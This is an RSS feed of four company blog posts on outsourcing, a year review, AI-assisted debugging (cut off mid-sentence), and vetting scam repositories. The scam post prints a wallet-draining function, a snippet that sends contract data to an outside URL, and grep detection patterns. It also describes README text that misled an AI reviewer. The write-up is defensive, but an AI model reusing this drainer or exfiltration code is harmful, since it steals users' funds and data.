<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Bruno Zimpel on Medium]]></title>
        <description><![CDATA[Stories by Bruno Zimpel on Medium]]></description>
        <link>https://medium.com/@brunozimpel?source=rss-2b808477190b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*4csUUIXbtV43ZQ9FiO5yQw.jpeg</url>
            <title>Stories by Bruno Zimpel on Medium</title>
            <link>https://medium.com/@brunozimpel?source=rss-2b808477190b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 06:51:30 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@brunozimpel/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Looking Back at Kmino’s 2025]]></title>
            <link>https://medium.com/@brunozimpel/looking-back-at-kminos-2025-973ed8d4497b?source=rss-2b808477190b------2</link>
            <guid isPermaLink="false">https://medium.com/p/973ed8d4497b</guid>
            <category><![CDATA[entrepreneurship]]></category>
            <category><![CDATA[retrospectives]]></category>
            <category><![CDATA[product-management]]></category>
            <dc:creator><![CDATA[Bruno Zimpel]]></dc:creator>
            <pubDate>Fri, 02 Jan 2026 14:34:19 GMT</pubDate>
            <atom:updated>2026-01-02T14:34:19.064Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rCV5WTHhtyLlP-C8" /><figcaption>Photo by <a href="https://unsplash.com/@domenick123?utm_source=medium&amp;utm_medium=referral">Domenick Schmidt</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p><em>This article was first published in my company’s blog, </em><a href="https://www.kmino.io/"><em>Kmino</em></a><em>.</em></p><p>Kmino was born in 2025. My other founders and I come from a tech background, and have worked on both other software agencies as well as big corporate, and we’ve seen the good and bad from both worlds.</p><p>When we first embarked on this journey of starting our own company, the vision was that we could deliver a better experience for everyone involved: developers could have quality work-life-balance with structured processes in place, targeted use of the best tooling available, and projects that excites them to come to work; and our clients could have peace of mind that they had capable engineers taking care of the tech part while they could focus on other aspects of the business where their expertise lies, without the HR hassle or paying exorbitant prices for outsourcing.</p><p>Our goal was to do things differently. To “build better paths”, as our slogan says.</p><p>2025 blinked away. I recall planning for the year like it was yesterday, and now I’m reflecting on what already passed. There were stressful moments, hard deliverables, outside-of-tech challenges, but overall, 2025 was a great year.</p><p>We were able to keep pushing towards our goal, for both existing clients as well as new partnerships, and today it’s time to look back at what was achieved, and prepare for 2026.</p><h3>Current Partnerships</h3><p>On your day-to-day execution, it’s easy to lose perspective on how much you are actually delivering. As an old mentor said to me once, sometimes we need to ‘turn the telescope around’, and for this piece, I did just that. I went back to our development boards and looked at how much our teams delivered for some of our current tech partners.</p><p>SuperDapp is a great example. A Web3 native superapp, SuperDapp is a complex and layered application, born out of a legacy app we have a small squad allocated to. In 2025, we delivered great features, yes:</p><ul><li>An AI Agent framework, with extensive documentation and API support, so any developer could deploy their own AI Agent on SuperDapp’s chat interface, and monetize as they want</li><li>An entire overhaul of the application, bringing Dark Mode to a formerly rigid, legacy frontend</li></ul><p>But maintaining an application of this size, you also need to plan accordingly for bug fixing and overall improvements on performance, security, usability, and maintanibility. And this took quite the time out of our team. Hundreds and hundreds of bug fixes were delivered, putting the app in a better place for all its users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GWa0F8V_LB-ohEb2ZHPP2A.gif" /></figure><p>Another great example is Lunos. A Web3 insurance protocol, the project had its technological challenges, but Kmino also supported them on product advisory, raises, and business guidance.</p><p>In 2025, the former UNO Re app went through a complete rebranding and repositioning. Fast iterations, finding product-market fit, and discussing with potential investors: Kmino helped them through it all.</p><p>And, as we can’t escape our roots, we also explored different new technology frameworks to achieve the new product vision, such as Eigen Cloud’s solutions for verifiable computation, and how it could be applied for traditional insurance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ivGoNJ8mcGDknCh0-d-eg.png" /></figure><p>Some features and deliverables are planned for weeks, months, or quarters. Others are sometimes year-long planning and execution. For Syscoin, our team’s main work will launch only in 2026, but they earned a special mention in this post.</p><p>We worked together with the Syscoin Foundation to deliver their upcoming Layer-2 solution, zkSys, based on zero-knowledge proofs, and inheriting the Bitcoin-security from their L1.</p><p>We also supported a complete refactor of Pali Wallet, the main extension wallet from their ecosystem, enabling users to interact with both UTXO and EVM-based chains, assets, and dApps. The refactor improved layout, usability, security, and performance, and we’re really excited to hear the feedback from the users once the application goes live!</p><p>Finally, to solve an old business problem, we took the challenge of developing a new bridge from scratch, based on Hyperlane’s architecture, enabling users to join and leave the upcoming zkSys ecosystem with ease, while we also returned the control of this vital piece of infrastructure to our partner, rather than leaving this at 3rd-party hands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p1dHRLhJHxunCXdHqyWYfg.png" /></figure><h3>Looking Inwards</h3><p>Looking at our own team, we were able to plant some seeds of what we want Kmino to become. The first of them was the launch of our internal development project, “Zero to Hero”, where we hire some out-of-college junior developers, even without previous work experience, but with fire in their eyes and hungry for more, willing to learn with our experienced senior developers in a real-world setting, not only video lessons.</p><p>With the duration of 3 months, the developer has to go over some basic onboarding tasks, read a few of our internal book recommendations, and complete a scope of work for one of our clients, previously defined in a common agreement. We’ll teach them the basics, give them access to AI-powered tools and show them the ropes, and mentor them until they can run with their own legs.</p><p>The first application was a success, and now the Kmino team can count on another developer. We’re looking forward to onboarding new talent engineers next year :)</p><h3>FlowBar and new Products</h3><p>Something new that we wanted to explore with Kmino was to bring new ideas to life, mini internal projects, if you will.</p><p>With a pool of talented people in-house, powerful dev tools, and extensive know-how, it’s a no-brainer to solve simple problems with the help of tech.</p><p>And the first (almost finalized) product is FlowBar, which is a simple, yet beautiful, minimalist, and useful task tracker for macOS. Integrating with macOS shortcuts, apart from tracking tasks with labeling and whatnot, it also sets Do-Not-Disturb focus when a custom-set Pomodoro timer is activated. We expect to open beta access early in 2026, so stay tuned for that!</p><p>Personally, the most exciting part was to see the entire team engaging in its development on their free time, testing the app, giving feedback, and collaborating on features. It just solidifies the culture that we want to create of curiosity, ownership, and knowledge-sharing. I’m eager to see what this talented team comes up with next!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7EmEsHyoeeL_kAHlBtxjvw.png" /></figure><h3>Conferences, Meetups, and Events</h3><p>More than in front of our computers, we also spend a lot of time in the wild. Conferences, Meetups and IRL events kept us busy during 2025.</p><p>During the Berlin Blockchain Week 2025, back in June, we attended A LOT of events, connected with other builders, heard what they were working on, presented Kmino, and established a lot of new contacts. It was really nice to see how vibrant the European ecosystem was during that time.</p><p>One of the events we participated in during that period was Eigen’s hackerhouse, where we worked together with other builders using Eigen’s tools to solve real-world problems. That also got us an invite to participate in another Eigen’s hackerhouse in Argentina, during the week prior to DevConnect 2025, in November.</p><p>Somehow, their team was able to elevate the first experience, and the vibes in Buenos Aires were immaculate; all eyes were on DevConnect, so the city was full of founders, builders, and decision makers.</p><p>And, of course, apart from the main conferences and events, there were a lot of side events our team attended, bringing more perspective, new connections, and new business opportunities.</p><h3>New Partnerships and Connections</h3><p>In all these events, IRL and virtual, we made a lot of connections. From the US to Europe to LATAM to Asia to Australia, we talked with people everywhere. Heard their stories, shared our own, strengthened existing bonds, and created new ones.</p><p>Part of what Kmino was created to do is to help bring new ideas to life, and these ideas all come from people everywhere. It was extremely valuable to connect with new folks from the most diverse backgrounds and discuss different markets, technologies, and ideas.</p><p>From our business perspective, some of them already bear some fruit. We’re working on projects on Syscoin, SUI, and Ethereum, and even new MVPs on markets not in our sight before, such as Prediction Markets, and other goodies we hope to share more in the coming months!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pi3OgaH8od0LXbeRyvYZ9Q.png" /></figure><h3>Looking Ahead, 2026</h3><p>I’m glad I sat down to write this piece. It’s easy to lose perspective on how much was done when you’re always on the move.</p><p>2025 was a great year. A difficult one, for sure: no alt-season on crypto, cautious market on tradFi, AI boom and hype and (sometimes) disappointment, but overall we achieve a lot of what was planned.</p><p>Now it’s time to rest, recollect, and prepare for 2026. A new blank sheet, ready to be filled with plans, execution, and new accomplishments.</p><p>As usual, don’t forget to follow us on <a href="https://www.linkedin.com/company/kminotech/">LinkedIn</a>, and happy holidays!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=973ed8d4497b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Short Story about Dealing with Malicious Code]]></title>
            <link>https://medium.com/@brunozimpel/a-short-story-about-dealing-with-malicious-code-e3f566f307cf?source=rss-2b808477190b------2</link>
            <guid isPermaLink="false">https://medium.com/p/e3f566f307cf</guid>
            <category><![CDATA[product-management]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[startup]]></category>
            <category><![CDATA[entrepeneurship]]></category>
            <dc:creator><![CDATA[Bruno Zimpel]]></dc:creator>
            <pubDate>Mon, 27 Oct 2025 00:00:44 GMT</pubDate>
            <atom:updated>2025-10-31T15:26:16.580Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kqysayLycsP6OLhL" /><figcaption>Photo by <a href="https://unsplash.com/@flyd2069?utm_source=medium&amp;utm_medium=referral">FlyD</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p><em>This article was first published in my company’s blog, </em><a href="https://www.kmino.io/"><em>Kmino</em></a><em>.</em></p><p>In our line of work at Kmino, it’s not unusual that part of the discussion before we close a deal with a new partner revolves around analyzing codebases. This serves multiple purposes:</p><ul><li>It helps our potential partners evaluate our technical expertise.</li><li>It allows our team to understand what we’d be getting into, from architecture to code quality.</li><li>It informs our resource allocation and project estimation.</li><li>And, perhaps most importantly, it ensures we can deliver safely and effectively.</li></ul><p>When we receive code from unknown sources, we start with basic due diligence: analyzing the repository structure, checking commit history, reviewing collaborators’ profiles, running static analysis with AI-powered tools, and, if we need to execute the code, doing so in isolated environments built specifically for running untrusted applications.</p><p>However, this process also exposes us to unique security risks. Since we frequently clone and analyze external repositories, sometimes sent directly from prospective clients, we’re a prime target for scammers trying to exploit that trust.</p><h3>The Usual Case</h3><p>Given our history working with Web3 companies, we’ve encountered our fair share of scam repositories. Most of them are easy to spot; they typically contain malicious wallet interactions or functions designed to drain users’ crypto wallets. A 15min analysis is enough to know what we’re up against, and we usually don’t lose too much time on those.</p><p>For example, we’ve seen code like this disguised as a “wallet integration helper”:</p><pre>const approveWallet = async (provider) =&gt; {<br>  const accounts = await provider.request({ method: &#39;eth_requestAccounts&#39; });<br>  const balance = await provider.getBalance(accounts[0]);<br>  <br>  await provider.request({<br>    method: &#39;eth_sendTransaction&#39;,<br>    params: [{<br>      from: accounts[0],<br>      to: &quot;0xBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEAD&quot;,<br>      value: balance.toHexString()<br>    }],<br>  });<br>};</pre><p>Or this one, pretending to be a “smart contract verification utility”:</p><pre>async function verifyContract(contract) {<br>  const { address, abi } = contract;<br>  const payload = btoa(JSON.stringify({ address, abi }));<br>  await fetch(&quot;https://verify-helper.io/api&quot;, {<br>    method: &quot;POST&quot;,<br>    body: payload,<br>  });<br>}</pre><p>In both cases, the functions appear harmless or legitimate at first glance, but they’re actually designed to exfiltrate sensitive data or drain funds:</p><ul><li>On the first example, the code requests the connected wallet address and reads its balance. The second half of the code send all funds from the selected wallet to a hardcode wallet address.</li><li>On the second example, there is nothing being <em>verified</em>. Instead, the function extracts the address and ABI from a contract, encodes the data, creates a payload and sends to a hardcoded URL.</li></ul><p>This topic alone deserves its own article, so we’ll get into more details on this later down the line.</p><p>This week, however, we stumbled upon something much more sophisticated and subtle, a scam outside the Web3 context entirely, disguised as a healthcare AI prototype. What makes it particularly dangerous is how good and professionally engineered it appeared.</p><p>That’s worth sharing here.</p><h3>The Discovery</h3><p>Recently, we analyzed what appeared to be a legitimate healthcare prototype repository titled “Healthcare MVP — AI-Powered Healthcare Prototype.” At first glance, it seemed like a well-structured React/Node.js application with proper documentation, comprehensive features, and appropriate warnings about being prototype-only.</p><p>These warnings, specifically, apart from justifying incomplete features or non-production-ready code, also misdirected our AI. As the usual static review starts with reviewing the README, it sets the stage for a harmless codebase: “just a normal React/Node.js prototype”.</p><p>Everything looked right. The database schema matches what the app was proposing to do; it used popular libs and common patterns, so at first look, it was all good.</p><p>After cloning the repo, my usual flow with AI goes like this:</p><ol><li>Global Analysis of the repository: More obvious scams are usually found here.</li><li>Functions that interact with Web3 wallets: Obvious Web3 scams are stopped here</li><li>Functions that inject code into the browser: Also common scams</li><li>Check for the libraries used, and see if there are any suspicious ones</li><li>Check for what commands are executed on npm dev, as we saw some scams that do more here than just setting up the app</li></ol><p>In neither of these 5 steps, did my AI trigger any warning. “Safe prototype”, “nothing wrong”. I was still suspicious. At the end, I was right: deeper investigation revealed this was actually a sophisticated scam designed to steal developer credentials and sensitive data.</p><p>Here’s how we uncovered the malicious intent and what you can learn from this experience.</p><h3>The Red Flags</h3><h3>1. Suspicious Configuration File</h3><p>The most harmful evidence was found in server/config/index.js:</p><pre>export const setApiKey = (s) =&gt; atob(s);  // Base64 decode function<br>export const verify = (api) =&gt; axios.post(api);  // Makes HTTP POST to any URL</pre><p>These functions were not used anywhere in the application and were there specifically for data exfiltration. atob() decodes hidden payloads, and the verify() function can send data to any external URL.</p><p>This is a classic malware pattern: unused functions that serve malicious purposes.</p><h3>2. Unrelated Content Mixing</h3><p>The same config file contained completely unrelated content:</p><ul><li>Nepal district names (75+ districts listed)</li><li>E-commerce order statuses (active, approved, dispatched, canceled, etc)</li><li>Mail asset paths for shopping cart illustrations</li></ul><p>Nothing to do with a Healthcare app, which suggests the code was copied from other projectsand hastily assembled.</p><h3>3. Repository Characteristics</h3><p>However, what launched the red flags waving in my head and encouraged a deeper investigation in the first place was simply how the repository was set up. Too many similarities with the scams I’ve seen before:</p><ul><li>Single Contributor</li><li>Weird GitHub username</li><li>Single Commit</li><li>Professional-looking facade — designed to bypass security scrutiny</li><li>Comprehensive documentation — makes it appear legitimate and confuses LLMs that see in these patterns professional intentions.</li></ul><h3>The Health App Scam in Practice</h3><p>In a nutshell:</p><ol><li>Social Engineering: The repository looks well-documented, and the LinkedIn profile used to approach us was also well-crafted with connections, posts, and history</li><li>Credential Harvesting: Developers run npm install and npm run dev</li><li>Data Exfiltration: Hidden functions would steal:</li></ol><ul><li>API keys from environment variables</li><li>User credentials</li><li>System information</li><li>Network data</li></ul><p>These guys mass message hundreds of profiles, add them to repositories, in the hopes someone will bite the bait. Don’t be a victim, and report these profiles in whatever app they reached you through!</p><h3>Practical Tip to Protect Yourself</h3><h3>0. Leverage AI</h3><p>Nowadays, there is no excuse not to use AI to do analysis on unknown codebases before you execute them. You can follow the steps I mentioned <a href="https://www.kmino.io/#the-discovery">here</a> using Cursor, Copilot, and similar.</p><p>Alternatively, if you would prefer to do as the Incas did, you can follow the steps below.</p><h3>1. Always Inspect Configuration Files</h3><p>Before running any code, examine:</p><ul><li>config/ directories</li><li>Environment variable usage</li><li>API key handling</li><li>External service integrations</li></ul><p>Look for:</p><ul><li>Unused functions (especially atob, btoa, eval)</li><li>External HTTP requests (fetch, axios.post)</li><li>Base64 encoding/decoding</li><li>Suspicious imports or requires</li></ul><h3>2. Analyze Repository Metadata</h3><p>Check these warning signs:</p><ul><li>Single-commit repositories</li><li>New or suspicious GitHub usernames</li><li>Repositories with no history</li><li>Mixed, unrelated content</li><li>Generic or copied README files</li></ul><p>And, to be honest, perfect documentation. If you’re analyzing a POC or an MVP, chances are that a real developer didn’t bother to create such comprehensive docs for non-important code.</p><h3>3. Code Pattern Analysis</h3><p>Search for these malicious patterns:</p><pre># Search for dangerous functions<br>grep -r &quot;eval\|Function\|atob\|btoa&quot; .<br>grep -r &quot;fetch\|XMLHttpRequest\|axios&quot; .<br>grep -r &quot;child_process\|spawn\|exec&quot; .<br><br># Look for external connections<br>grep -r &quot;https://&quot; . | grep -v &quot;npmjs\|github&quot;<br>grep -r &quot;http://&quot; . | grep -v &quot;localhost&quot;</pre><h3>4. Environment Isolation</h3><p>If you cannot run away from actually having to execute the codebase, always use isolated environments. You can use VMBox to spin up a fresh machine isolated from your main environment.</p><p>You can monitor the network traffic to see what calls are being made by the app and, if any API keys are needed to execute, always ask the person to provide them to you, or use disposable ones.</p><h3>5. Dependency Analysis</h3><p>Before running npm install:</p><ul><li>Review package.json for suspicious packages</li><li>Check if dependencies match the project’s stated purpose</li><li>Look for packages with unusual names or low download counts</li><li>Verify package integrity with npm audit</li></ul><h3>Conclusion</h3><p>At Kmino, we’ve built our reputation on technical due diligence, understanding a project deeply before committing to it. But this experience was a reminder that even for seasoned developers, professional-looking code can hide malicious intent, and this healthcare scam repository demonstrates how sophisticated modern malware can be.</p><p>The threat landscape continues to evolve, and as a software house constantly evaluating external codebases, keeping a healthy dose of skepticism always has paid off.</p><p>Remember: When in doubt, don’t run it out. Your security instincts are usually your best defense against sophisticated scams like this one.</p><p>If you want to learn more about stories in tech, make sure to follow us on <a href="https://www.linkedin.com/company/kminotech/">LinkedIn</a>!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e3f566f307cf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Great Teams Still Outsource, And How They Do It Right]]></title>
            <link>https://medium.com/@brunozimpel/why-great-teams-still-outsource-and-how-they-do-it-right-47b6ca6c02cd?source=rss-2b808477190b------2</link>
            <guid isPermaLink="false">https://medium.com/p/47b6ca6c02cd</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[entrepreneurship]]></category>
            <category><![CDATA[business]]></category>
            <dc:creator><![CDATA[Bruno Zimpel]]></dc:creator>
            <pubDate>Wed, 15 Oct 2025 10:06:37 GMT</pubDate>
            <atom:updated>2025-10-15T10:06:37.256Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*noR1Ay2We9Qle0SO" /><figcaption>Photo by <a href="https://unsplash.com/@nitishm?utm_source=medium&amp;utm_medium=referral">Nitish Meena</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p><em>This article was first published in my company’s blog, </em><a href="https://www.kmino.io/"><em>Kmino</em></a><em>.</em></p><p>Outsourcing is one of those topics that always sparks debate. Some teams see it as a smart way to build and scale quickly, while others view it as a shortcut that weakens culture and ownership. The truth sits somewhere in the middle. Outsourcing can be incredibly effective when used strategically and intentionally, but it can also create setbacks if done for the wrong reasons.</p><p>When done right, outsourcing helps teams stay focused on their strengths while trusted experts handle the rest. When done poorly, it becomes a constant cycle of rework, friction, and lost momentum. The key is knowing when it fits your stage and goals.</p><p>I’ve been on both sides of the coin. I have worked in three separate development outsourcing companies, and I also was in the shoes of someone trying to foster a strong company culture with new engineer hires. Additionally, I’ve also worked with the <em>wrong</em> outsourcing companies: disorganized teams, lack of ownership, poor communication, change in leadership, cheap prices but awful results.</p><p>All that said, today we’ll explore a few situations where outsourcing is a good option.</p><h3>When Not to Outsource</h3><p>I may put myself on the hot seat here with my cofounders, but the truth is not every company should outsource development work.</p><p>If you’re a technical founder or already have a team with founding engineers with a clear product vision and hands-on ability to build fast, outsourcing can add unnecessary layers between you and your users. The same applies to organizations with strong, established development cultures and nothing beyond your expertise to build. If you know what to do, how to hire, and how to ship it, it’s better to keep it in-house.</p><p>When your engineering, design, and product teams already operate in sync, they know each other’s heartbeats, as Tony Fadell describes in the amazing <a href="https://a.co/d/emSQXUL">Build</a>.</p><p>In this scenario, it’s often better to keep that rhythm intact. The pace of development, feedback, and iteration is already aligned with the rest of your company and with the market.</p><p>Still, even teams with a strong internal rhythm can hit moments where outside help is the smarter move. Whether it’s about speed, focus, or deep technical specialization, outsourcing can unlock new capacity without disturbing your core, as long as it’s done right, and with the right technology partner.</p><h3>When to Outsource</h3><p>There are three more common cases where outsourcing technology work is the right move. With the right partner, outsourcing can, respectively: <em>enable your growth</em>, <em>protect your team</em>, and <em>strengthen your core</em>.</p><h3>#1 Early Startups: Build Without Hiring Headaches</h3><p>You’ve just secured funding, the clock is ticking, and you need a product in customers’ hands as soon as possible. The problem is, you don’t yet have a dev or design team. Recruiting takes months, and every week of delay can slow momentum and investor confidence. You aren’t technical, nor have a technical founder or founding engineer by your side. You have a great vision, the future may be bright, but you’re stuck behind technicalities.</p><p>This is the most common case of outsourcing. And with the right partner, it becomes a growth enabler instead of a compromise. If you find the right team, you can go from <a href="https://www.kmino.io/blog/from-idea-to-mvp">idea to MVP quickly</a>, start getting user feedback, iterate on the product, and make your original vision a reality. The right team will help you define priorities, validate assumptions, and build efficiently, so you can stay focused on fundraising, sales, and customer conversations.</p><p>Later down the line, with a product on the market, you can decide which way to go: keeping the technology partner onboard, or hiring in-house. Whatever you decide to do, you can do it once the time is right.</p><h3>#2 Big Companies: Temporary Projects, Zero HR Baggage</h3><p>Hiring for tech is costly. Tech recruiters, tech interviewers, weeks of hiring process, and rounds of team interviews. Some companies can afford that, but it doesn’t make sense to go down this path always. If you have a temporary 3-month project to put out there, and no internal team to allocate to it, why bother?</p><p>That’s the second case where having a good technology partner makes sense.</p><p>Even large organizations with mature engineering teams face temporary surges in workload. Maybe you need to rebuild an internal tool, develop a proof of concept, or ship a project that doesn’t justify hiring full-time staff.</p><p>Bringing in a specialized partner for these short-term initiatives helps you move fast without expanding headcount or navigating lengthy onboarding. Once the project is complete, you can wrap up cleanly, with quality work delivered and no long-term commitments.</p><p>For big teams, outsourcing in this way protects your core developers from context-switching and keeps them focused on the roadmap that matters most.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*L93SxmGE3Rxgomf_" /><figcaption>Photo by <a href="https://unsplash.com/@alexandrelallemand?utm_source=medium&amp;utm_medium=referral">ALEXANDRE LALLEMAND</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>#3 Established Teams: Solving Deep Tech Gaps</h3><p>Even the best teams have limits to their expertise.</p><p>Maybe your developers are great at building features but less experienced with scaling infrastructure or managing data pipelines. Maybe your data scientists need help with automation or integrating AI into production environments. In these cases, outsourcing specific technical areas can amplify your team’s capabilities without disrupting their workflow.</p><p>The ideal external team integrates seamlessly into your existing setup, complements your strengths, and leaves your systems stronger than before. No silos nor mystery handoffs: just targeted expertise when and where you need it.</p><p>I once worked as a PM on an outsourced development team for a company valued in the billions of dollars. You read it right, with a ‘b’.</p><p>They had an internal network team that knew <em>everything</em> there was to know about network: components, routers, protocols, security, you name it. However, on this network team, they lacked DevOps and automation expertise. They absolutely had this knowledge elsewhere in the company. But with every team stretched thin, other priorities, and so on, they decided to outsource.</p><p>We helped them build tools to automate network management across different buildings all across the globe. Once that was done, we parted ways; they kept the tools and documentation, and we moved on. And I learned a lot about computer networks in the process, so that was a plus!</p><h3>A Word of Caution: You Get What You Pay For</h3><p>Not all outsourcing is created equal.</p><p>We’ve all seen the difference between a professional product team and a low-cost dev shop. The latter often looks appealing upfront, but quickly becomes a source of frustration: no real ownership, poor communication, and endless requests for clarification. Progress slows as every decision requires another handoff.</p><p>Worse still, some teams operate like mercenaries, charging extra for every small change, every update, every conversation that goes five minutes longer than scoped. They treat projects as transactions, not partnerships. What starts as a cost-saving move ends up costing more in time, stress, and technical debt.</p><p>Personally, I feel this is one of the reasons people are often so skeptical about hiring a development firm to outsource. If you have ever worked with cheap freelancers, you know what I’m talking about. It’s hard to integrate them on your team; they don’t follow instructions or defined rituals, and you may end up having to fix things yourself.</p><p>Successful outsourcing only happens when both sides share accountability for outcomes. That means open communication, aligned goals, and mutual respect.</p><h3>The Kmino Way: Partnership and Ownership</h3><p>At Kmino, we believe great products come from collaboration and shared ownership. We don’t act as a vendor or a code factory. We embed ourselves within your team, adapt to your tools and culture, and move at your pace.</p><p>Our approach is designed for transparency, velocity, and long-term value. Founders and teams work with us to unlock faster launches, maintain full control, and enjoy a true partnership from day one. Whether you’re an early startup, a scaling company, or an enterprise with specific needs, we ensure your product moves forward without friction or waste.</p><p>Outsourcing doesn’t have to be risky or impersonal. Done right, it’s a way to accelerate progress, strengthen your core team, and create better products faster.</p><p>If any of these stories hit too close to home for comfort, book a call, we’d be happy to show what Kmino can do for you!</p><p>Follow us on <a href="https://www.linkedin.com/company/kminotech/">LinkedIn</a> for more insights on modern product building.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=47b6ca6c02cd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Real Use Cases of Copilot in Debugging — and Why Structure Still Rocks]]></title>
            <link>https://medium.com/@brunozimpel/real-use-cases-of-copilot-in-debugging-and-why-structure-still-rocks-b8ffa5c651db?source=rss-2b808477190b------2</link>
            <guid isPermaLink="false">https://medium.com/p/b8ffa5c651db</guid>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[project-management]]></category>
            <category><![CDATA[github-copilot]]></category>
            <category><![CDATA[product-management]]></category>
            <dc:creator><![CDATA[Bruno Zimpel]]></dc:creator>
            <pubDate>Mon, 15 Sep 2025 12:33:53 GMT</pubDate>
            <atom:updated>2025-09-15T12:33:53.067Z</atom:updated>
            <content:encoded><![CDATA[<h3>Real Use Cases of Copilot in Debugging — and Why Structure Still Rocks</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BbL0O1doXK1CFHO7" /><figcaption>Photo by <a href="https://unsplash.com/@gabrielizgi?utm_source=medium&amp;utm_medium=referral">Gabriel Izgi</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p><em>This article was first published in my company’s blog, </em><a href="https://www.kmino.io/"><em>Kmino</em></a><em>.</em></p><p>Today, we’ll revisit a topic discussed about a <a href="https://www.kmino.io/blog/ai-in-programming-basic">month ago</a>, regarding the effective use of AI to speed up development work. This time, however, instead of covering more basic use cases, we’ll delve into specifics based on real examples we recently experienced at Kmino, and what lessons we can draw from them.</p><h3>Setting the Stage</h3><p>Both problems I’ll devise here are similar: performance bottlenecks on a web application that relies on a frontend, data served by a backend, a few microservices surrounding the app, such as services monitoring wallet activities on the blockchain, smart contract events, and so on, and a few smart contracts we interact with directly from the client-side.</p><p>Nothing out of the ordinary architecture-wise for a Web3 application, except for <a href="https://aws.amazon.com/appsync/">AppSync</a>, an AWS-managed service we use as a ‘data management’ layer. In our case, it sits between the frontend and DynamoDB, exposing a GraphQL API to query and retrieve the data.</p><h3>Problem #1</h3><p>The first issue was related to a noticeable delay when switching pages inside the app. These different features rely on different backend routes, and we couldn’t enable the user to interact with the pages until they have loaded completely. These loading times were getting sometimes to 1 or 2 seconds, where we block the UI behind a loading modal. While each delay wasn’t huge individually, repeated page switches in a single session made the app feel sluggish.</p><h3>Problem #2</h3><p>The second issue was related to the loading times for specific data on a specific feature, a chat. Chat-related data from DynamoDB was especially slow to load, both when opening chat pages and when fetching message history, leaving users stuck for several seconds before they could continue.</p><h3>The Process</h3><p>In both cases, the flow was the following:</p><ol><li>The problem was described on a prompt to a local AI Agent responsible for creating a GitHub issue explaining the problem, the success criteria, and some more boilerplate info.</li><li>A second GitHub Copilot agent, having access to the GitHub issue, the entire codebase relevant for the problem, and our general instructions (see below), would go about solving the issue and opening a PR for evaluation.</li><li>A third Copilot agent would review the PR.</li><li>This PR would be assigned to a senior engineer on our team who assess the solution and drive it for completion if necessary.</li></ol><pre>SYSTEM INSTRUCTION: Act as a fully autonomous, detail-oriented AI developer for <br>&lt;project_name&gt;. Always fully complete assigned tasks, end-to-end.<br><br>- Guidelines Complete the task: Implement all required logic, tests, docs, <br>error handling, and edge cases.<br><br>- No over-engineering: Do not build beyond the stated requirements.<br><br>- Respect existing code: Analyze current code before coding. Only change or <br>refactor if strictly required for the assigned task. Never rewrite, optimize,<br>or clean up unrelated code—unless you are specifically told to.<br><br>- Minimize code churn: Preserve APIs, structure, and UX. Do not modify <br>unrelated files or logic.<br><br>- Self-audit: Verify all changes are production-ready, well-integrated, <br>and isolated to the task.<br><br>- Comments: Add comments only where logic or decisions are non-obvious.<br><br>- Clarifications: If requirements are unclear, ask for clarification.</pre><p>Our GitHub Copilot System instructions.</p><h3>The Model</h3><p>The AI model used was Anthropic’s <a href="https://www.anthropic.com/claude/sonnet">Claude Sonnet 4</a>, a large context window reasoning model. It’s a powerful one, evolving from Sonnet 3.7 and, according to Anthropic, “<em>It offers strong performance in both planning and solving for complex coding tasks, making it an ideal choice to power end-to-end software development processes.</em>”, which fit our case: we need a large context window as the codebase is huge, and the model needs to be able to <em>plan</em> a solution, as we’re using it also for better breaking down the problem on the GitHub issue, not only execute commands and generate code.</p><h3>The Results</h3><p>At first, both solutions looked promising. Both PRs had a really good description of what was made, and a comparison table showing the improvements, such as the one below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W8EXK_EblHltLFyaQkF8Ug.png" /></figure><p>However, after the final iteration with an agent that reviewed the code, 